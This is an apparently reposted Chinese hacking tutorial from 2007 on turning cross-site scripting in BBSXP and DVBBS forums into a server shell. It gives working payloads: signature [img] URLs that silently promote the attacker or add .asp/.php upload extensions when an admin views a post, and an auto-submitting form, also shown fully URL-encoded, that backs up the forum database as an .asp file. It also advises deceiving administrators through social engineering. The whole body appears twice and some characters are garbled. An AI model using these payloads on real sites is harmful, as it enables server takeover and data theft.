最新的黑客技術:XSS跨站腳本攻擊詳細介紹
更新時間:2007年01月16日 00:00:00 作者:
總體上介紹
簡單介紹什么是XSS攻擊
如何尋找XSS漏洞
對于XSS攻擊的總體思路
來自內(nèi)部的攻擊:
如何尋找內(nèi)部的XSS漏洞
如何構造攻擊
如何利用
結(jié)何實例攻擊,如DVBBS&BBSXP
來自外部的攻擊
如何構造XSS攻擊
如何欺騙管理員打開
XSS與其它技術的結(jié)何
與mssql injection的結(jié)合
QQ跨站的結(jié)何
國內(nèi)大型統(tǒng)計網(wǎng)站的跨站漏洞
社會工程學
制作恐怖的flash木馬
制作方法由李豐初寫
總結(jié)
正文:
XSS總體介紹
什么是XSS攻擊
XSS又叫CSS (Cross Site Script) ,跨站腳本攻擊。它指的是惡意攻擊者往Web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的html代碼會被執(zhí)行,從而達到惡意用戶的特殊目的。XSS屬于被動式的攻擊,因為其被動且不好利用,所以許多人常呼略其危害性。而本文主要講的是利用XSS得到目標服務器的shell。技術雖然是老技術,但是其思路希望對大家有幫助。
如何尋找XSS漏洞
就個人而言,我把XSS攻擊分成兩類,一類是來自內(nèi)部的攻擊,主要指的是利用程序自身的漏洞,構造跨站語句,如:dvbbs的showerror.asp存在的跨站漏洞。另一類則是來來自外部的攻擊,主要指的自己構造XSS跨站漏洞網(wǎng)頁或者尋找非目標機以外的有跨站漏洞的網(wǎng)頁。如當我們要滲透一個站點,我們自己構造一個有跨站漏洞的網(wǎng)頁,然后構造跨站語句,通過結(jié)合其它技術,如社會工程學等,欺騙目標服務器的管理員打開。
然后利用下面的技術得到一個shell.
如何利用
傳統(tǒng)的跨站利用方式一般都是攻擊者先構造一個跨站網(wǎng)頁,然后在另一空間里放一個收集cookie的頁面,接著結(jié)合其它技術讓用戶打開跨站頁面以盜取用戶的cookie,以便進一步的攻擊。個人認為這種方式太過于落后,對于弊端大家可能都知道,因為即便你收集到了cookie你也未必能進一步滲透進去,多數(shù)的cookie里面的密碼都是經(jīng)過加密的,如果想要cookie欺騙的話,同樣也要受到其它的條件的限約。而本文提出的另一種思路,則從一定程度上解決上述的問題。對于個人而言,比較成熟的方法是通過跨站構造一個表單,表單的內(nèi)容則為利用程序的備份功能或者加管理員等功能得到一個高權限。下面我將詳細的介紹這種技術。
來自內(nèi)部的跨站攻擊
尋找跨站漏洞
如果有代碼的話比較好辦,我們主要看代碼里對用戶輸入的地方和變量有沒有做長度和對”<”,”>”,”;”,”'”等字符是否做過濾。還有要注意的是對于標簽的閉合,像測試QQ群跨站漏洞的時候,你在標題處輸入<script>alert(‘test')</script>,代碼是不會被執(zhí)行的,因為在源代碼里,有其它的標簽未閉合,如少了一個</script>,這個時候,你只要閉合一個</script>,代碼就會執(zhí)行,如:你在標題處輸入</script><script>alert(‘test')</script>,這樣就可以彈出一個test的框。
如何利用
我先以BBSXP為例,過程已做成動畫,詳情可見光盤中的動畫。我舉BBSXP中其中兩個比較好用的跨站漏洞點為例.
a.先注冊一個普通用戶,我這里注冊的用戶是linzi.然后我們在個人簽名里寫入:
[img]http://127.0.0.1/bbsxp/admin_user.asp?menu=userok&username=linzi&membercode=5&userlife=1&posttopic=3&money=9&postrevert=0&savemoney=0&deltopic=1®time=2005-9-1+1%3A1%3A1&experience=9&country=%D6%D0%B9%FA&&Submit=+%B8%FC+%D0%C2+[/img]
c.然后發(fā)個貼子,可以結(jié)合其它技術欺騙管理員瀏覽發(fā)的貼子。
d.因為是測試,所以我們以管理員身份登陸,然后打開貼子,我們會發(fā)現(xiàn),linzi已經(jīng)變成了社區(qū)區(qū)長工,如圖一所示
除此之外我們只要在個人簽名里輸入
[img]http://127.0.0.1/bbsxp/admin_setup.asp?menu=variableok&clubname=+&homename=+&homeurl=&floor=2&PostTime=3&Timeout=6&OnlineTime=12&Reg10=10&style=1&selectup=FSO&MaxFace=10240&MaxPhoto=30720&MaxFile=102400&UpFileGenre=gif|jpg|asp%20|rar[/img]
同樣發(fā)個貼子等,只要管理員打開了,就會加了一個擴展名為asp (有空格)的上傳擴展,這個時候,你只要上傳一個newmm.asp (有空格)就可以得到一個shell.
上面的攻擊多多少少有點局限性,雖然可以得到shell,但是隱蔽性不太好,因為簽名
處受到了長度的限制,不能超過255個字符。我們可以結(jié)合flash跨站實現(xiàn)更為隱蔽的
攻擊,對于flash木馬的制作,下面見哥們豐初的介紹。
再利用如下:
修改一下個人頭像的url,輸入代碼如下: admin_setup.asp?menu=variableok&clubname=+&homename=+&homeurl=&floor=2&PostTime=3&Timeout=6&OnlineTime=12&Reg10=10&style=1&selectup=FSO&MaxFace=10240&MaxPhoto=30720&MaxFile=102400&UpFileGenre=gif|jpg|php|rar
再接著欺騙管理員打開你的資料或者瀏覽你的貼子,當管理員打開后,會在后臺自動加個php擴展名的后輟,因為bbsxp在個人頭像url里過濾了空格,%,所以我們只能加個不包括空格的其它擴展,當然你也可以加個shtml的擴展,有了它你就可以用來查看源代碼,然后進一步攻擊。
三、來自外部的跨站攻擊
有的時候,當我們對于目標程序找不到可以利用的跨站點,這個時候我們可以利用可以從外部入手,利用我們要拿下的是它的論談,論談的安全性做的很好,但其留言板卻存在跨站漏洞,這個時候我們可以在留言板里寫入跨站語句,跨站語句為以表單的方式向論談提交提升權限的語句,如上面的bbsxp加asp 擴展的語句。當然我們可利用后臺的備份功能直接得到一個shell。
例:先上傳一個文件linzi.txt,內(nèi)容如下:
<body onload="javascript:document.forms[0].submit()"><form
action="http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf" method="post"><input value="database/bbsxp.mdb" name="yl" ><input value="database/shit.asp" name="bf" ></body></html>
上面的代碼是把論談的數(shù)據(jù)庫備份為shit.asp,留言板存在跨站點如下:
http://127.0.0.1/bbsxp/page2.asp?username=
我們構造備份跨站語句如下:
http://127.0.0.1/bbsxp/page2.asp?username=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F%62%62%73%78%70%2F%61%64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D%65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%61%6D%65%3D%22%62%66%22%20%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E
或者構造跨站語句,利用iframe打開一個0大小的linzi.txt。
當管理員打開后,會自動備份得到一個shell.
四、XSS與其它技術的結(jié)何
從上面的實例,我們可以知道,如何欺騙管理打開是一個很重要的步驟,對于欺騙打開,除了社會工程學外,我們可以結(jié)合其它的技術,如sql injection.當我們滲透一個網(wǎng)站之時,主站mssql注入漏洞,權限為public,這個時候我們利用update構造跨站語句,如用iframe打開一個上面的備份得到shell的跨站語句等,同樣,我們可以在社會工程學時,利用QQ的其它跨站漏洞等等。
總是對于欺騙也是一門藝術,具體怎么利用,大家就發(fā)揮自己的想象力吧!
五、Flash木馬的制作.
略
簡單介紹什么是XSS攻擊
如何尋找XSS漏洞
對于XSS攻擊的總體思路
來自內(nèi)部的攻擊:
如何尋找內(nèi)部的XSS漏洞
如何構造攻擊
如何利用
結(jié)何實例攻擊,如DVBBS&BBSXP
來自外部的攻擊
如何構造XSS攻擊
如何欺騙管理員打開
XSS與其它技術的結(jié)何
與mssql injection的結(jié)合
QQ跨站的結(jié)何
國內(nèi)大型統(tǒng)計網(wǎng)站的跨站漏洞
社會工程學
制作恐怖的flash木馬
制作方法由李豐初寫
總結(jié)
正文:
XSS總體介紹
什么是XSS攻擊
XSS又叫CSS (Cross Site Script) ,跨站腳本攻擊。它指的是惡意攻擊者往Web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的html代碼會被執(zhí)行,從而達到惡意用戶的特殊目的。XSS屬于被動式的攻擊,因為其被動且不好利用,所以許多人常呼略其危害性。而本文主要講的是利用XSS得到目標服務器的shell。技術雖然是老技術,但是其思路希望對大家有幫助。
如何尋找XSS漏洞
就個人而言,我把XSS攻擊分成兩類,一類是來自內(nèi)部的攻擊,主要指的是利用程序自身的漏洞,構造跨站語句,如:dvbbs的showerror.asp存在的跨站漏洞。另一類則是來來自外部的攻擊,主要指的自己構造XSS跨站漏洞網(wǎng)頁或者尋找非目標機以外的有跨站漏洞的網(wǎng)頁。如當我們要滲透一個站點,我們自己構造一個有跨站漏洞的網(wǎng)頁,然后構造跨站語句,通過結(jié)合其它技術,如社會工程學等,欺騙目標服務器的管理員打開。
然后利用下面的技術得到一個shell.
如何利用
傳統(tǒng)的跨站利用方式一般都是攻擊者先構造一個跨站網(wǎng)頁,然后在另一空間里放一個收集cookie的頁面,接著結(jié)合其它技術讓用戶打開跨站頁面以盜取用戶的cookie,以便進一步的攻擊。個人認為這種方式太過于落后,對于弊端大家可能都知道,因為即便你收集到了cookie你也未必能進一步滲透進去,多數(shù)的cookie里面的密碼都是經(jīng)過加密的,如果想要cookie欺騙的話,同樣也要受到其它的條件的限約。而本文提出的另一種思路,則從一定程度上解決上述的問題。對于個人而言,比較成熟的方法是通過跨站構造一個表單,表單的內(nèi)容則為利用程序的備份功能或者加管理員等功能得到一個高權限。下面我將詳細的介紹這種技術。
來自內(nèi)部的跨站攻擊
尋找跨站漏洞
如果有代碼的話比較好辦,我們主要看代碼里對用戶輸入的地方和變量有沒有做長度和對”<”,”>”,”;”,”'”等字符是否做過濾。還有要注意的是對于標簽的閉合,像測試QQ群跨站漏洞的時候,你在標題處輸入<script>alert(‘test')</script>,代碼是不會被執(zhí)行的,因為在源代碼里,有其它的標簽未閉合,如少了一個</script>,這個時候,你只要閉合一個</script>,代碼就會執(zhí)行,如:你在標題處輸入</script><script>alert(‘test')</script>,這樣就可以彈出一個test的框。
如何利用
我先以BBSXP為例,過程已做成動畫,詳情可見光盤中的動畫。我舉BBSXP中其中兩個比較好用的跨站漏洞點為例.
a.先注冊一個普通用戶,我這里注冊的用戶是linzi.然后我們在個人簽名里寫入:
[img]http://127.0.0.1/bbsxp/admin_user.asp?menu=userok&username=linzi&membercode=5&userlife=1&posttopic=3&money=9&postrevert=0&savemoney=0&deltopic=1®time=2005-9-1+1%3A1%3A1&experience=9&country=%D6%D0%B9%FA&&Submit=+%B8%FC+%D0%C2+[/img]
c.然后發(fā)個貼子,可以結(jié)合其它技術欺騙管理員瀏覽發(fā)的貼子。
d.因為是測試,所以我們以管理員身份登陸,然后打開貼子,我們會發(fā)現(xiàn),linzi已經(jīng)變成了社區(qū)區(qū)長工,如圖一所示
除此之外我們只要在個人簽名里輸入
[img]http://127.0.0.1/bbsxp/admin_setup.asp?menu=variableok&clubname=+&homename=+&homeurl=&floor=2&PostTime=3&Timeout=6&OnlineTime=12&Reg10=10&style=1&selectup=FSO&MaxFace=10240&MaxPhoto=30720&MaxFile=102400&UpFileGenre=gif|jpg|asp%20|rar[/img]
同樣發(fā)個貼子等,只要管理員打開了,就會加了一個擴展名為asp (有空格)的上傳擴展,這個時候,你只要上傳一個newmm.asp (有空格)就可以得到一個shell.
上面的攻擊多多少少有點局限性,雖然可以得到shell,但是隱蔽性不太好,因為簽名
處受到了長度的限制,不能超過255個字符。我們可以結(jié)合flash跨站實現(xiàn)更為隱蔽的
攻擊,對于flash木馬的制作,下面見哥們豐初的介紹。
再利用如下:
修改一下個人頭像的url,輸入代碼如下: admin_setup.asp?menu=variableok&clubname=+&homename=+&homeurl=&floor=2&PostTime=3&Timeout=6&OnlineTime=12&Reg10=10&style=1&selectup=FSO&MaxFace=10240&MaxPhoto=30720&MaxFile=102400&UpFileGenre=gif|jpg|php|rar
再接著欺騙管理員打開你的資料或者瀏覽你的貼子,當管理員打開后,會在后臺自動加個php擴展名的后輟,因為bbsxp在個人頭像url里過濾了空格,%,所以我們只能加個不包括空格的其它擴展,當然你也可以加個shtml的擴展,有了它你就可以用來查看源代碼,然后進一步攻擊。
三、來自外部的跨站攻擊
有的時候,當我們對于目標程序找不到可以利用的跨站點,這個時候我們可以利用可以從外部入手,利用我們要拿下的是它的論談,論談的安全性做的很好,但其留言板卻存在跨站漏洞,這個時候我們可以在留言板里寫入跨站語句,跨站語句為以表單的方式向論談提交提升權限的語句,如上面的bbsxp加asp 擴展的語句。當然我們可利用后臺的備份功能直接得到一個shell。
例:先上傳一個文件linzi.txt,內(nèi)容如下:
<body onload="javascript:document.forms[0].submit()"><form
action="http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf" method="post"><input value="database/bbsxp.mdb" name="yl" ><input value="database/shit.asp" name="bf" ></body></html>
上面的代碼是把論談的數(shù)據(jù)庫備份為shit.asp,留言板存在跨站點如下:
http://127.0.0.1/bbsxp/page2.asp?username=
我們構造備份跨站語句如下:
http://127.0.0.1/bbsxp/page2.asp?username=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F%62%62%73%78%70%2F%61%64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D%65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%61%6D%65%3D%22%62%66%22%20%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E
或者構造跨站語句,利用iframe打開一個0大小的linzi.txt。
當管理員打開后,會自動備份得到一個shell.
四、XSS與其它技術的結(jié)何
從上面的實例,我們可以知道,如何欺騙管理打開是一個很重要的步驟,對于欺騙打開,除了社會工程學外,我們可以結(jié)合其它的技術,如sql injection.當我們滲透一個網(wǎng)站之時,主站mssql注入漏洞,權限為public,這個時候我們利用update構造跨站語句,如用iframe打開一個上面的備份得到shell的跨站語句等,同樣,我們可以在社會工程學時,利用QQ的其它跨站漏洞等等。
總是對于欺騙也是一門藝術,具體怎么利用,大家就發(fā)揮自己的想象力吧!
五、Flash木馬的制作.
略
相關文章
Advanced SQL Injection with MySQL
Advanced SQL Injection with MySQL...2007-01-01Sql Injection in DB2數(shù)據(jù)庫
Sql Injection in DB2數(shù)據(jù)庫...2007-01-01